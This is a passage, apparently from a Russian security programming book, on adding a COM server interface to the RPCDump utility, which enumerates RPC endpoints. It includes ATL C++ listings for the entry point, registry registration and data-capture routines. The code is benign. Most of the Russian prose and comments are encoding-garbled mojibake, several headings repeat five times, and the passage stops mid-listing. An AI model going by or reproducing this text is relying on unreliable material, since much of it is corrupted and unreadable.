ê àâòîðåãèñòðàöèè, òî åñòü ïî ñóùåñòâó âïîëíå ðàáîòîñïîñîáíûé COM-ñåðâåð.

Добавление COM�расширений
в программу RPCDUMP
Óòèëèòà RPCDump ðàñïå÷àòûâàåò ñîäåðæèìîå êàðòû îêîíå÷íûõ òî÷åê RPC
íà óäàëåííîì êîìïüþòåðå. Ýòî ïîëåçíî äëÿ ðàçíûõ öåëåé, â òîì ÷èñëå äëÿ
ïîèñêà ïîòåíöèàëüíî íåáåçîïàñíûõ RPC-èíòåðôåéñîâ. Â ÷àñòíîñòè, ýòîò èí-
ñòðóìåíò ìîæíî ïðèìåíÿòü äëÿ çàùèòû ÏÊ îò ñåòåâûõ âòîðæåíèé. Íî ïðåæ-
äå ÷åì îñòàíàâëèâàòü ñåòåâûå ñëóæáû íà ÏÊ, íóæíî çíàòü, ÷òî èìåííî äàí-
íûé êîìïüþòåð ïðåäîñòàâëÿåò. Ñïåöèàëèñòû ïî ñåòåâîé áåçîïàñíîñòè ÷àñòî
èñïîëüçóþò ïðîãðàììó îòîáðàæåíèÿ ïîðòîâ (port mapper) äëÿ âûÿâëåíèÿ îò-
êðûòûõ TCP è UDP-ïîðòîâ. Îïèñûâàåìàÿ óòèëèòà ýêâèâàëåíòíà ñêàíåðó ïîð-
òîâ â ïëàíå îïðåäåëåíèÿ ñëóæá RPC, ïðåäîñòàâëÿåìûõ êîíêðåòíîé ìàøèíîé.

Добавление СОМ�расширений в программу RPCDUMP
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Â êîðïîðàòèâíîé ñåòè åé ìîæíî áûëî áû âîñïîëüçîâàòüñÿ, íàïðèìåð, ÷òîáû
ïðîâåðèòü, âñå ëè RPC-èíòåðôåéñû óäîâëåòâîðÿþò ïðèíÿòîé ïîëèòèêå.

Òèïû RPC-ïðèâÿçîê  ncacn_np  è ncacn_i p_tcp  îïðåäåëÿþò óäàëåííî  äîñ-
òóïíûå îêîíå÷íûå òî÷êè RPC, àíàëîãè÷íûå ñîêåòàì. Åñëè ðàñïå÷àòàòü êàðòó
îêîíå÷íûõ òî÷åê RPC, òî ðåçóëüòàò ìîæåò âûãëÿäåòü ïðèìåðíî òàê:

nacan_ip_tcp:127.0.0.1[1025]
ncacn_np:\\\\MYCOMPUTER[\\PIPE\atsvc]
ncacn_np:\\\\MYCOMPUTER[\\pipe\Ctx_WinStation_API_service]
ncacn_np:\\\\MYCOMPUTER[\\PIPE\DAV RPC SERVICE]
ncacn_np:\\\\MYCOMPUTER[\\PIPE\winreg]

Èç ýòîé ðàñïå÷àòêè âèäíî, ÷òî ïîðò 1025 ñîîòâåòñòâóåò îêîíå÷íîé òî÷êå
RPC, ðàâíî êàê è èìåíîâàííûå êàíàëû Ctx_WinStation_API_service, DAV
RPC SERVICE è winreg. È âñå îíè äîñòóïíû äëÿ äèñòàíöèîííîãî ìàíèïóëè-
ðîâàíèÿ. Èìåÿ ýòî â âèäó, ìîæåòå çàêðûòü ñòîëüêî ñëóæá, äîñòóïíûõ ÷åðåç
RPC, ñêîëüêî íåîáõîäèìî äëÿ äîâåäåíèÿ áåçîïàñíîñòè ÏÊ äî æåëàåìîãî
óðîâíÿ.

Òèïè÷íàÿ îòíîñÿùàÿñÿ ê áåçîïàñíîñòè óòèëèòà íà ïëàòôîðìå Win32, ïðåä-
ñòàâëÿåò ñîáîé êîíñîëüíîå ïðèëîæåíèå, êîòîðîìó áîëüøàÿ ÷àñòü, åñëè íå
âñå, àðãóìåíòû ïåðåäàþòñÿ â êîìàíäíîé ñòðîêå. Ðåçóëüòàòû ñâîåé ðàáîòû òà-
êàÿ ïðîãðàììà âûâîäèò íà ñòàíäàðòíûé âûâîä. Ïàìÿòóÿ îá ýòîì, ìû ïîêà-
æåì, êàê äîáàâèòü COM-ðàñøèðåíèå ê ñóùåñòâóþùåé óòèëèòå RPCDump,
êîòîðóþ íàïèñàë Òîää Ñàáèí (Todd Sabin). Â ýòîì ïðèìåðå ìû áóäåì ïîëüçî-
âàòüñÿ ATL-àòðèáóòàìè, èìåþùèìèñÿ â ÿçûêå Visual C++.NET.

Íî ñíà÷àëà ñôîðìóëèðóåì êðèòåðèè óñïåøíîñòè íàøåé ïîïûòêè èíòåãðà-
öèè ñ ñóùåñòâóþùèì COM-ïðèëîæåíèåì:

� ñîõðàíèòü ñåìàíòèêó êîìàíäíîé ñòðîêè;
� ìèíèìèçèðîâàòü èçìåíåíèÿ â èñõîäíîì òåêñòå óòèëèòû.

Îñíîâíûå øàãè, íåîáõîäèìûå äëÿ äîáàâëåíèÿ COM-ðàñøèðåíèÿ â óòèëè-
òû òèïà RPCDump, òàêîâû:

� äîáàâèòü âîçìîæíîñòü ðàáîòû â êà÷åñòâå âíåïðîöåññíîãî COM-ñåðâå-
ðà ïóòåì ïðèìåíåíèÿ ATL-àòðèáóòîâ;

� ïåðåõâàòèòü óïðàâëåíèå òî÷êàìè âõîäà;
� îïðåäåëèòü èíòåðôåéñû COM-îáúåêòîâ;
� ðåàëèçîâàòü COM-îáúåêòû, ïðåäîñòàâëÿåìûå óòèëèòîé;
� äîáàâèòü ïðîöåäóðû èíòåãðàöèè ñ óòèëèòîé.

Ïðîãðàììà RPCDump ñîñòîèò èç åäèíñòâåííîãî ôàéëà RPCdump.c. Ïîñëå
äîáàâëåíèÿ COM-ðàñøèðåíèé ôàéëîâ ñòàíåò òðè: RPCdump.c, COMSupport.cpp
è COMSupport.h. Äëÿ äîáàâëåíèÿ COM-ðàñøèðåíèé â èñõîäíóþ ïðîãðàììó
íàäî áóäåò äîáàâèòü èëè èçìåíèòü â íåé âñåãî ñåìü ñòðîê êîäà.
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Пример 13.1. Пример 13.1. Пример 13.1. Пример 13.1. Пример 13.1. Интеграция путем добавления ATL*атрибута module
 1 [module(exe, name="RPCDump")]

 2 class CConsoleApp

 3 {

 4 public:

 5   bool IsComRequest()

 6   {

 7     LPTSTR lpCmdLine = GetCommandLine();

 8
 9     CString str = lpCmdLine;

10     str = str.MakeLower();

11     if (str.Find(_T("comserver")) != -1 ||

12        str.Find(_T("regserver")) != -1)

13        return true;

14
15     return false;

16   }

17
18   int WINAPI WinMain(int nShow)

19   {

20     g_IsCOM = IsComRequest();

21     if (!g_IsCOM)

22     {

23       BEGIN_ENTRYPOINT();

24       rpcdump_main(g_argc, g_argv);

25       END_ENTRYPOINT();

26       return 0;

27     }

28
29     // Åñëè ìû äîøëè äî ýòîé òî÷êè, çíà÷èò, ýòî çàïðîñ íà ñîçäàíèå

30     // îáúåêòà, ñëåäîâàòåëüíî, êîíñîëü íå íóæíà.

31     FreeConsole();

32
33     // Èíôîðìàöèÿ î ñîñòîÿíèè ïðè âûçîâå ôóíêöèè rpcdump_main

34     // õðàíèòñÿ â ëîêàëüíîé ïàìÿòè ïîòîêà (TLS). Î ïîðÿäêå ðàáîòû

35     // ñ íåé ñì. îïèñàíèå ôóíêöèè SetInterfaceID (è ñâÿçàííûõ ñ íåé)

36     // à òàêæå ìåòîäà IRpcEnum::Execute.

37
38     g_dwCOMCallTls = TlsAlloc();
39     int nRes = super::WinMain(nShow);
40     TlsFree(g_dwCOMCallTls);
41
42     return nRes;
43   }

44
45   // Ñëåäóþùàÿ ôóíêöèÿ ñïåöèàëèçèðóåò ðåãèñòðàöèþ COM

46   HRESULT RegisterServer(BOOL bregTypeLib = 0, CLSID *pCLSID = 0)

47   {

48     // Âûïîëíèòü ñòàíäàðòíóþ ðåãèñòðàöèþ

Добавление СОМ�расширений в программу RPCDUMP



678 Глава 13. Написание компонентов для задач, связанных с безопасностью

49     HRESULT hr = __super::RegisterServer(bregTypeLib, pCLSID);

50
51     CRegKey key;

52     if (hr == S_OK)

53     {

54        // Îòêðûòü êëþ÷ CLSID äëÿ ýòîãî îáúåêòà

55        LPOLESTR lpCLSID = 0;

56        StringFromCLSID(__uuidof(CEndpoint), &lpCLSID);

57        strKey.Format(_T("CLSID\\%s\\LocalServer32"), lpCLSID);

58        CoTaskMemFree(lpCLSID);

59
60        key.Open(HKEY_CLASSES_ROOT, strKey.GetBuffer(0));

61
62        TCHAR szPath[MAX_PATH];

63        DWORD cb;

64
65        // Äîáàâèòü â êîíåö ñòàðîãî çíà÷åíèÿ êëþ÷à ñòðîêó

66        // " -COMSERVER".

67        key.QueryValue(szPath, NULL, &cb);

68        lstrcat(szPath, _T(" -COMSERVER"));

69        key.SetValue(szPath);

70     }

71
72     return hr;
73   }
74 };

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêå 1 îáúÿâëåí ATL-àòðèáóò module. Â íåì ïðèëîæåíèå îïèñûâàåòñÿ
êàê EXE-ñåðâåð COM, à áèáëèîòåêå òèïîâ íàçíà÷àåòñÿ èìÿ RPCDump. Êàê
âû çíàåòå, àòðèáóò module îáúÿâëÿåò ãëîáàëüíóþ ïåðåìåííóþ _AtlModule, êî-
òîðàÿ ïðèíàäëåæèò êëàññó, ïðîèçâîäíîìó îò ñîîòâåòñòâóþùåãî êëàññà ATL:
CAtlExeModule èëè CAtlDllModule. Â äàííîì ñëó÷àå ìû ñòðîèì EXE-ñåðâåð,
çíà÷èò, áóäåò âûáðàí êëàññ CAtlExeModule. Ïîñêîëüêó çà îáúÿâëåíèåì àòðèáó-
òà module íåò òî÷êè ñ çàïÿòîé, òî ñëåäóþùèé äàëåå êëàññ ñ÷èòàåòñÿ ïðîèçâîä-
íûì îò CAtlExeModule. Ïîýòîìó ìû ìîæåì ïåðåîïðåäåëèòü â íåì íåêîòîðûå
ìåòîäû, â ÷àñòíîñòè, òî÷êó âõîäà è ðåãèñòðàöèþ COM-îáúåêòîâ.

Ðàç ìû îïðåäåëÿåì EXE-ñåðâåð, òî ATL ñ÷èòàåò, ÷òî òî÷êîé âõîäà â íåãî
áóäåò ôóíêöèÿ WinMain, ïðèìåíÿåìàÿ â ãðàôè÷åñêèõ ïðèëîæåíèÿõ. Ïîýòîìó
àòðèáóò module îïðåäåëÿåò òî÷êó âõîäà êàê _tWinMain, îæèäàÿ, ÷òî îíà áóäåò
óïðàâëÿòü ïîòîêîì óïðàâëåíèÿ â EXE-ñåðâåðå. Íî îäíà èç íàøèõ öåëåé – ñî-
õðàíèòü êîíñîëüíûé èíòåðôåéñ óòèëèòû, òàê ÷òî ïîòîê óïðàâëåíèÿ ïðèäåò-
ñÿ ïåðåõâàòèòü. Êàê ýòî ñäåëàòü, áóäåò ïîêàçàíî íèæå.

Â ñòðîêå 2 â êëàññå CConsoleApp (êîòîðûé àòðèáóò module ñäåëàåò ïðîèç-
âîäíûì îò CAtlExeModule) ðåàëèçîâàíû äâà ìåòîäà, âûçûâàåìûå áèáëèîòå-
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êîé ATL â íóæíûé ìîìåíò: WinMain è RegisterServer. Åñëè áû ìû íå ñòàëè èõ
ïåðåîïðåäåëÿòü, òî ñîõðàíèëîñü áû ïîâåäåíèå ïî óìîë÷àíèþ.

Ôóíêöèÿ WinMain (ñòðîêà 18) ðåøàåò äâå âàæíûõ çàäà÷è. Âî-ïåðâûõ, åñëè
ïðèëîæåíèå çàãðóæåíî êàê àâòîíîìíàÿ ïðîãðàììà, òî âûçûâàåòñÿ èñõîäíàÿ
òî÷êà âõîäà rpcdump_main (ñòðîêè 20–27). Â ýòîì ñëó÷àå ôóíêöèÿ IsCom-
Request (âûçûâàåìàÿ èç WinMain â ñòðîêå 20) âîçâðàùàåò FALSE, è òîãäà ïîñ-
ëå âûçîâà rpcdump_main ïðèëîæåíèå çàâåðøàåòñÿ (ñòðîêà 26).

Îáðàòèòå âíèìàíèå íà ïàðó ìàêðîñîâ BEGIN_ENTRYPOINT() è END_ENT-
RYPOINT() ïåðåä âûçîâîì rpcdump_main. Îíè ðàñøèðÿþòñÿ ñëåäóþùèì îá-
ðàçîì:

#define BEGIN_ENTRYPOINT() __try {
#define END_ENTRYPOINT() } \
__except(EXCEPTION_EXECUTE_HANDLER) {}

Ýòî îçíà÷àåò, ÷òî ìû ïåðåõâàòûâàåì âñå èñêëþ÷åíèÿ, òàê ÷òî óïðàâëåíèå
îáÿçàòåëüíî âåðíåòñÿ â WinMain. Áûâàþò ñëó÷àè, êîãäà ôóíêöèÿ rpcdump_main
íàìåðåííî âîçáóæäàåò èñêëþ÷åíèå. Ìû åùå âåðíåìñÿ ê ýòîìó ïðè ðàññìîò-
ðåíèè ôàéëà COMSupport.h.

Åñëè æå óòèëèòà çàãðóæåíà â ðåçóëüòàòå çàïðîñà îò COM, òî îíà íå äîëæíà
êàê-òî âçàèìîäåéñòâîâàòü ñ ïîëüçîâàòåëåì. Ïîýòîìó íåîáõîäèìî çàêðûòü
ïðåäîñòàâëÿåìîå ñèñòåìîé ïî óìîë÷àíèþ îêíî êîíñîëè, âûçâàâ ôóíêöèþ
FreeConsole â ñòðîêå 31.

Примечание

Подавить неявную загрузку окна консоли можно, объявив, что при�
ложение будет пользоваться графической подсистемой, а затем
в случае необходимости открыть консоль путем обращения к функ�
ции AllocConsole. Но такой подход вступает в противоречие с поряд�
ком использования оригинальной утилиты и, стало быть, не удовлет�
воряет нашим требованиям.

Â ñòðîêå 38 ìû ïîëó÷àåì èíäåêñ â ëîêàëüíóþ ïàìÿòü ïîòîêà (Thread Local
Storage – TLS), à â ñòðîêå 40 îñâîáîæäàåì åãî. TLS – ýòî ìåõàíèçì, ïîçâîëÿþ-
ùèé ñîõðàíèòü çíà÷åíèÿ òèïà DWORD, ñâÿçàííûå ñ äàííûì ïîòîêîì è òîëüêî
ñ íèì. Äëÿ ïîëó÷åíèÿ ïàìÿòè, â êîòîðîé èõ ìîæíî ñîõðàíèòü, íóæíî âûçâàòü
ôóíêöèþ TlsAlloc. Â íàøåì ñëó÷àå ëîêàëüíàÿ ïàìÿòü íóæíà äëÿ õðàíåíèÿ óêàçà-
òåëÿ íà ñòðóêòóðó TOOL_CALL_CONTEXT. Åå íàçíà÷åíèå ìû îáúÿñíèì íèæå
ïðè ðàññìîòðåíèè ïðîöåäóð èíòåãðàöèè ñ ïðèëîæåíèåì è êîêëàññà CRPCDump.
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Ôóíêöèÿ IsComRequest (ñòðîêà 5) îïðåäåëÿåò, áûëî ëè ïðèëîæåíèå âûçâà-
íî ñðåäîé èñïîëíåíèÿ COM, àíàëèçèðóÿ íàëè÷èå ôëàãà -COMSERVER â êî-
ìàíäíîé ñòðîêå. Ïî÷åìó òàêîé ìåòîä ðàáîòàåò, îáúÿñíåíî íèæå â ðàçäåëå
«Ïîòîê óïðàâëåíèÿ».

Ìåòîä RegisterServer (ñòðîêà 46) âûçûâàåòñÿ èíôðàñòðóêòóðîé ATL, åñëè
ïðèëîæåíèå äîëæíî çàðåãèñòðèðîâàòü ñåáÿ â êà÷åñòâå COM-ñåðâåðà, òî åñòü
â êîìàíäíîé ñòðîêå åñòü ôëàã /RegServer.

Ïîñêîëüêó â äàííîì ïðîåêòå äëÿ ðåãèñòðàöèè êëàññà êîìïîíåíòà ïðèìåíÿ-
þòñÿ ñðåäñòâà ATL, à îäèí àñïåêò ðåãèñòðàöèè íóæíî ðåàëèçîâàòü íåñòàíäàðò-
íî, íàì ïðèõîäèòñÿ ïåðåîïðåäåëèòü ýòîò ìåòîä. Íåñòàíäàðòíîñòü çàêëþ÷àåòñÿ
â äîáàâëåíèè ñòðîêè «-COMSERVER» ê çíà÷åíèþ ïî óìîë÷àíèþ äëÿ êëþ÷à
LocalServer32. Ñòàíäàðòíî ýòî çíà÷åíèå ñîäåðæèò ïóòü ê ôàéëó EXE-ñåðâåðà
è èñïîëüçóåòñÿ ñðåäîé èñïîëíåíèÿ COM äëÿ çàïóñêà ñåðâåðà ïðè ïîñòóïëåíèè
çàïðîñà îò êëèåíòà. Òàêèì îáðàçîì, êîãäà êëèåíò çàïðàøèâàåò íàø COM-
îáúåêò, ñåðâåð áóäåò çàãðóæåí, à â åãî êîìàíäíîé ñòðîêå áóäåò ïðèñóòñòâî-
âàòü ôëàã «-COMSERVER».

Поток управления

Ñëåäóþùèé øàã – èíòåãðèðîâàòü â RPCDump ïîòîê óïðàâëåíèÿ èç ôàéëà
COMSupport.cpp.

Êàê âû ïîìíèòå, ATL-àòðèáóò module îïðåäåëÿåò â êà÷åñòâå òî÷êè âõîäà
â EXE-ñåðâåð ôóíêöèþ _tWinMain (ñì. ðèñ. 13.4). Íî îíà íå âûçûâàåòñÿ ïðè
âõîäå, ïîòîìó ÷òî â ïàðàìåòðàõ ïðîåêòà ñêàçàíî, ÷òî ýòî êîíñîëüíîå ïðèëî-
æåíèå, çíà÷èò, äîëæíà áûòü âûçâàíà ôóíêöèÿ ñ èìåíåì main. Ðàç ATL íå ïðå-
äîñòàâëÿåò òàêîé ôóíêöèè, íàì ïðèäåòñÿ ðåàëèçîâàòü åå ñàìîñòîÿòåëüíî, êàê
ïîêàçàíî â ïðèìåðå 13.2.

Пример 13.2. Пример 13.2. Пример 13.2. Пример 13.2. Пример 13.2. Перехват потока управления в точке входа
 1 int main(int argc, char *argv[])

 2 {

 3   // Ñîõðàíèòü àðãóìåíòû

 4   g_argc = argc;

 5   g_argv = argv;

 6
 7   HINSTANCE hInstance = (HINSTANCE)GetModuleHandle(NULL);

 8
 9   STARTUPINFO si = {0};

10   GetStartupInfo(&si);

11   LPTSTR lpCmdLine = GetCommandLine();

12
13   // ôóíêöèÿ _tWinMain âñòàâëåíà ATL-àòðèáóòîì module

14   // Â êîíå÷íîì èòîãå óïðàâëåíèå ïîïàäåò â CConsoleApp::WinMain
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15   _tWinMain(hInstance, NULL, lpCmdLine, si.wShowWindow);

16 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêàõ 4 è 5 ìû ñîõðàíÿåì ïåðåäàííûå â êîìàíäíîé ñòðîêå àðãóìåíòû äëÿ
ïîñëåäóþùåãî àíàëèçà.

Äàëåå ìû ïðîñòî ãîòîâèì àðãóìåíòû äëÿ âñòàâëåííîé ATL ôóíêöèè
_tWinMain:

� â ñòðîêå 7 ìû ïîëó÷àåì îïèñàòåëü ìîäóëÿ è ñîõðàíÿåì åãî â ïåðåìåí-
íîé hInstance. Ïîçæå îí ñòàíåò ïåðâûì àðãóìåíòîì _tWinMain;

� â ñòðîêàõ 9 è 10 èçâëåêàåòñÿ èíôîðìàöèÿ î íà÷àëüíîì ñîñòîÿíèè ïðè-
ëîæåíèÿ. Çíà÷åíèå ïîëÿ wShowWindows èç ñòðóêòóðû STARTUPINFO
ïåðåäàåòñÿ â _tWinMain â êà÷åñòâå ïîñëåäíåãî àðãóìåíòà;

� â ñòðîêå 11 ìû ïîëó÷àåì êîìàíäíóþ ñòðîêó ïðèëîæåíèÿ è ïåðåäàåì åå
_tWinMain òðåòüèì àðãóìåíòîì.

Рис. 13.4. Рис. 13.4. Рис. 13.4. Рис. 13.4. Рис. 13.4. Процесс загрузки программы
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Процедуры интеграции с приложением

Ðå÷ü èäåò î ïðîöåäóðàõ, êîòîðûå âûçûâàåò èñõîäíàÿ óòèëèòà äëÿ ïåðåäà÷è
ñóùåñòâåííûõ äàííûõ. Íàïðèìåð, ñêàíåð ïîðòîâ ìîã áû ñîîáùèòü, îòêðûò
íåêèé ïîðò èëè íåò. Ñêàíåð ñðî÷íûõ èñïðàâëåíèé ñîîáùèë áû, óñòàíîâëåíî
èñïðàâëåíèå èëè íåò. Íó à óòèëèòà RPCDump èçâåùàåò î äîñòóïíûõ RPC-
èíòåðôåéñàõ. ×òîáû íàïèñàòü ïðîöåäóðû èíòåãðàöèè ñ ïðèëîæåíèåì, íàäî
ïðåäñòàâëÿòü ñåáå, êàê èñõîäíàÿ ïðîãðàììà óïðàâëÿåò äàííûìè. Åñëè, êàê
â ñëó÷àå RPCDump, óïðàâëåíèå ñâîäèòñÿ ê çàïèñè íà ñòàíäàðòíûé âûâîä, òî
ïåðåä çàïèñüþ ïðîöåäóðà èíòåãðàöèè äîëæíà ïîëó÷èòü äîñòóï ê äàííûì è
ñîõðàíèòü èõ ó ñåáÿ. Èìåííî ýòî è äåëàåòñÿ â ïðèìåðàõ 13.3. è 13.4.

Пример 13.3. Пример 13.3. Пример 13.3. Пример 13.3. Пример 13.3. Структура данных для процедуры интеграции с приложением
(из файла COMSupport.h)
 1 typedef struct _IFACE_DATA_ENTRY {

 2   CComBSTR m_bstrInterfaceID;

 3   CComBSTR m_bstrVersionID;

 4   CComBSTR m_bstrUUID;

 5   CComBSTR m_bstrBinding;

 6 } IFACE_DATA_ENTRY, *PIFACE_DATA_ENTRY;

 7
 8 typedef struct _TOOL_CALL_CONTEXT {

 9   std::vector<IFACE_DATA_ENTRY> *pIfaceVector;

10   IFACE_DATA_ENTRY CurrentRecord;

11 } TOOL_CALL_CONTEXT, *PTOOL_CALL_CONTEXT;

Пример 13.4. Пример 13.4. Пример 13.4. Пример 13.4. Пример 13.4. Процедура интеграции с приложением
(из файла COMSupport.cpp)
 1 extern "C" {   // êîìïîíîâêà ñ ó÷åòîì ïðàâèë ÿçûêà C

 2 void SetInterfaceID(char *pIFaceID)

 3 {

 4   if (!g_IsCOM) return;

 5
 6   PTOOL_CALL_CONTEXT pCtx =

 7     (PTOOL_CALL_CONTEXT)TlsGetValue(g_dwCOMCallTls);

 8
 9   pCtx->CurrentRecord.m_bstrInterfaceID = CComBSTR(pIFaceID);

10 }

11 void SetVersion(char *pVersion)

12 {

13   if (!g_IsCOM) return;

14
15   PTOOL_CALL_CONTEXT pCtx =

16     (PTOOL_CALL_CONTEXT)TlsGetValue(g_dwCOMCallTls);

17   pCtx->CurrentRecord.m_bstrVersionID = CComBSTR(pVersion);

18 }
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19
20 void SetUUID(char *pUuid)

21 {

22   if (!g_IsCOM) return;

23
24   PTOOL_CALL_CONTEXT pCtx =

25     (PTOOL_CALL_CONTEXT)TlsGetValue(g_dwCOMCallTls);

26   pCtx->CurrentRecord.m_bstrUUID = CComBSTR(pUuid);

27 }

28
29 void SetBinding(char *pBinding)

30 {

31   if (!g_IsCOM) return;

32
33   PTOOL_CALL_CONTEXT pCtx =

34     (PTOOL_CALL_CONTEXT)TlsGetValue(g_dwCOMCallTls);

35   pCtx->CurrentRecord.m_bstrBinding = CComBSTR(pBinding);

36 }

37
38 void NextRecord()

39 {

40   if (!g_IsCOM) return;

41
42   PTOOL_CALL_CONTEXT pCtx =

43     (PTOOL_CALL_CONTEXT)TlsGetValue(g_dwCOMCallTls);

44
45   // Òåïåðü íóæíî ñîõðàíèòü çàïèñü. Ìû âîñïîëüçóåìñÿ äëÿ ýòîãî

46   // ñòàíäàðòíûì êëàññîì vector, àññîöèèðîâàííûì ñ ñîçäàííûì

47   // COM-îáúåêòîì.

48   pCtx->pIfaceVector->push_back(pCtx->CurrentRecord);

49 }

50 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Èìåíà âñåõ ïîêàçàííûõ âûøå ïðîöåäóð âûáðàíû â ñîîòâåòñòâèè ñ äàííûìè,
êîòîðûå ïðåäîñòàâëÿåò óòèëèòà RPCDump. Ýòè äàííûå âçàèìîñâÿçàíû (ïðè-
âÿçêà, UUID, íîìåð âåðñèè è èäåíòèôèêàòîð èíòåðôåéñà), íî íå òàê ëåãêî
äîñòóïíû, êàê ñòðóêòóðà â RPCDump.c, ïîýòîìó èç ïðîöåäóðû èíòåãðàöèè
äîñòóï ê íèì ïðîèçâîäèòñÿ ïîñëåäîâàòåëüíî. Êîãäà âñå äàííûå îá èíòåðôåé-
ñå ïîëó÷åíû, âûçûâàåòñÿ ôóíêöèÿ NextRecord, êîòîðàÿ ïîìåùàåò èõ â îäíó
çàïèñü è ïåðåóñòàíàâëèâàåò óêàçàòåëü äëÿ ñëåäóþùåé èòåðàöèè.

Òàêèì îáðàçîì, ïîñëåäîâàòåëüíîñòü âûçîâîâ âûãëÿäèò ñëåäóþùèì îáðàçîì:

1. RPCDump->SetInterfaceID(...)
2. RPCDump->SetVersion(...)
3. RPCDump->SetUUID(...)

Добавление СОМ�расширений в программу RPCDUMP
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4. RPCDump->SetBinding(...)
5. RPCDump->NextRecord(...)

Â ñòðîêå 1 íàõîäèòñÿ äèðåêòèâà extern «C» {. Îíà ãîâîðèò, ÷òî âñå ôóíêöèè
â ïîñëåäóþùåì áëîêå äîëæíû êîìïîíîâàòüñÿ ñ ó÷åòîì ïðàâèë ÿçûêà C. Ýòî
íåîáõîäèìî ïîòîìó, ÷òî îáðàùåíèÿ ê ïðîöåäóðàì èíòåãðàöèè ïðîèçâîäÿò-
ñÿ èç ïðîãðàììû RPCDump, êîòîðàÿ íàïèñàíà íà C, à íå íà C++. Áëîê âíåø-
íåé êîìïîíîâêè çàêàí÷èâàåòñÿ â ñòðîêå 50.

Âñå ïðîöåäóðû èíòåãðàöèè ïîõîæè, çà èñêëþ÷åíèåì NextRecord.
Ïåðâàÿ ñòðîêà â êàæäîé ïðîöåäóðå âûãëÿäèò òàê:

if (!g_IsCom) return;

Åñëè ïðîãðàììà çàïóùåíà íå êàê EXE-ñåðâåð COM, òî ãëîáàëüíàÿ ïåðå-
ìåííàÿ g_IsCOM ðàâíà FALSE, è â ýòîì ñëó÷àå ïðîöåäóðà èíòåãðàöèè ñðàçó æå
âîçâðàùàåò óïðàâëåíèå. Ýòî ðàçóìíî, òàê êàê íåò ñìûñëà ñîõðàíÿòü äàí-
íûå – âåäü íèêàêèõ COM-êëèåíòîâ íå ñóùåñòâóåò.

Äàëåå èäåò òàêàÿ ñòðîêà:

PTOOL_CALL_CONTEXT pCtx =
 (PTOOL_CALL_CONTEXT)TlsGetValue(g_dwCOMCallTls);

Â íåé ïåðåìåííîé pCtx ïðèñâàèâàåòñÿ çíà÷åíèå, ñîõðàíåííîå ðàíåå â ëî-
êàëüíîé ïàìÿòè ïîòîêà. Ñòîèò îòìåòèòü íåñêîëüêî ìîìåíòîâ:

� â ñòðóêòóðå, îïèñûâàþùåé êîíòåêñò âûçîâà, åñòü óêàçàòåëü íà âåêòîð,
â êîòîðîì õðàíÿòñÿ âñå çàïèñè îá èíòåðôåéñàõ, è ñòðóêòóðà, ïðåäíàçíà-
÷åííàÿ äëÿ õðàíåíèÿ èíôîðìàöèè èç òåêóùåé çàïèñè;

� ïàìÿòü äëÿ ñòðóêòóðû, îïèñûâàþùåé êîíòåêñò âûçîâà, âûäåëÿåòñÿ, êîã-
äà COM-êëèåíò îáðàùàåòñÿ ê ìåòîäó scan COM-îáúåêòà, íàõîäÿùåãîñÿ
â èñïîëíÿåìîì ôàéëå RPCDump;

� ýëåìåíò â ëîêàëüíîé ïàìÿòè ïîòîêà âûçûâàåò ìåòîä CConsoleApp::Win-
Main ïîñëå òîãî, êàê âûÿñíèò, ÷òî ïðîãðàììà çàïóùåíà êàê EXE-ñåð-
âåð COM.

Åñëè ìû äîøëè äî ýòîé òî÷êè, çíà÷èò, ïðîãðàììà áûëà çàïóùåíà êàê EXE-
ñåðâåð COM, è ïðîöåäóðà èíòåãðàöèè âûçûâàåòñÿ â òîì ïîòîêå, â êîòîðîì
ðàáîòàåò COM-êëèåíò. Äàííûå, ïðèíàäëåæàùèå ýòîìó ïîòîêó (óêàçàòåëü íà
ñòðóêòóðó TOOL_CALL_CONTEXT), è ñîõðàíÿþòñÿ â åãî ëîêàëüíîé ïàìÿòè.

Ñëåäóþùàÿ ñòðîêà â êàæäîé ïðîöåäóðå èíòåãðàöèè ñîõðàíÿåò ïåðåäàííûé
àðãóìåíò â êîíòåêñòå âûçîâà. Òàê, äëÿ ïðîöåäóðû SetBinding îíà âûãëÿäèò
ñëåäóþùèì îáðàçîì:

pCtx->CurrentRecord.m_bstrBinding = CComBSTR(pBinding);
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Ïîñêîëüêó â èñõîäíîì ôàéëå RPCDump.C èñïîëüçóþòñÿ òîëüêî ñòðîêè
â êîäèðîâêå ANSI, òî ïðîöåäóðû èíòåãðàöèè ïðèíèìàþò ñòðîêîâûå ïàðà-
ìåòðû êàê char *. Íî íàø COM-îáúåêò äîëæåí ïîääåðæèâàòü òàêæå è îáðà-
ùåíèÿ èç ïðîãðàìì íà èíòåðïðåòèðóåìûõ ÿçûêàõ (VBScri pt, JScri pt è ò.ä.),
çíà÷èò, íóæíû ñòðîêè òèïà BSTR. Ïîýòîìó ìû äîëæíû ïðåîáðàçîâàòü ïåðå-
äàííóþ ñòðîêó â äðóãîé ôîðìàò è êîäèðîâêó Unicode. Ýòî ëåãêî ñäåëàòü, âîñ-
ïîëüçîâàâøèñü îáúåêòîì êëàññà CComBSTR è ïåðåäàâ åãî êîíñòðóêòîðó ïî-
ëó÷åííóþ ñòðîêó. Âîçâðàùåííîå çíà÷åíèå ñîõðàíÿåòñÿ â òåêóùåé çàïèñè.

Определение интерфейсов COM3объектов

COM-ðàñøèðåíèå ïðîãðàììû RPCDump âêëþ÷àåò òðè COM-îáúåêòà, ó êàæ-
äîãî èç êîòîðûõ îïðåäåëåíî ïî îäíîìó èíòåðôåéñó (ïîìèìî IUnknown è
IDispatch):

� IrpcEnum;
� IendPointCollection;
� Iendpoint.

Îïðåäåëåíèÿ âñåõ ýòèõ èíòåðôåéñîâ ïîêàçàíû â ïðèìåðå 13.5.

Пример 13.5. Пример 13.5. Пример 13.5. Пример 13.5. Пример 13.5. Определения интерфейсов (из файла COMSupport.cpp)
 1 [

 2    object,     // COM-îáúåêò

 3    dual,       // ïîääåðæêà IDispatch è vtable

 4    uuid("2F55A03C-9513-4CF1-9939-E0BD72E968E8")

 5 ]

 6 __interface IEndpoint : IDispatch

 7 {

 8   [propget] HRESULT InterfaceID([out, retval] BSTR *bstrVal);

 9   [propget] HRESULT Version([out, retval] BSTR *bstrVal);

10   [propget] HRESULT Uuid([out, retval] BSTR *bstrVal);

11   [propget] HRESULT Binding([out, retval] BSTR *bstrVal);

12 };

13
14 [

15    object,     // COM-îáúåêò

